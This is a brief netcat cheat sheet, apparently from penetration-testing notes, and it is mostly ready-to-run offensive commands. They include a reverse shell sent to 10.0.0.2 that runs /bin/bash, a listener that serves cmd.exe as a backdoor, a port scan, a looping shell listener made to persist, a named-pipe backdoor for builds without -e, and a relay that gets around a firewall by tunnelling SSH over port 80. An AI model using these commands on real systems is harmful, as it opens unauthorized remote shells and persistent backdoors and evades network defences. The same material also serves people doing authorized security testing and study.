Netcat

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Netcat

Netcat rocks my socks

Basics
Connect to a socket on host 192.168.1.1 on TCP port 81
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nc 192.168.1.1 81
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Listen on the local machine for inbound TCP connections on port 81
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nc -nvlp 81
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Reverse shell sent to host 10.0.0.2 over TCP port 53
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nc 10.0.0.2 53 -e /bin/bash
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Backdoor listening on TCP 80 set to execute cmd.exe when connected
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nc -nvlp 80 -e cmd.exe
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More Fancy
Attempt to connect to each port from 10-90 on 10.0.0.1, don't resolve any names -n, don't send any data -z, and only wait 1 second for a connection -w1
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nc -nvzw1 10.0.0.1 10-90
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Netcat stops listening after the connection drops or is terminated, which can make getting another shell back annoying. Placing nc in a bash true loop is an easy way to work around this, use nohup also!
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while [ 1 ]; do echo “started”; nc -l -p 1234 -e /bin/sh; done
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Netcat relay used to forward everything received by the host on TCP 4321 sent to 10.0.0.1 on TCP 8123
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nc -l -p 4321 | nc 10.0.0.1 8123
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Create a netcat backdoor without -e support. This generates a named pipe which is used to funnel data between bash and nc. 
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mknod backpipe p
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/bin/bash 0<backpipe | nc -l -p 8080 1>backpipe
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Firewall Evasion
If a specific port is blocked at the firewall, netcat can be used to pipe through authorized ports. Using the named pipe we can pipe the data thru to the nc output
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mknod mypipe p
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nc -lp 80 < mypipe | nc 127.0.0.1 22 > mypipe
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ssh [email protected] -p 80    # Attcker command to connect to ssh piped thru port 80
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Last modified 9mo ago

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Contents

Basics

More Fancy

Firewall Evasion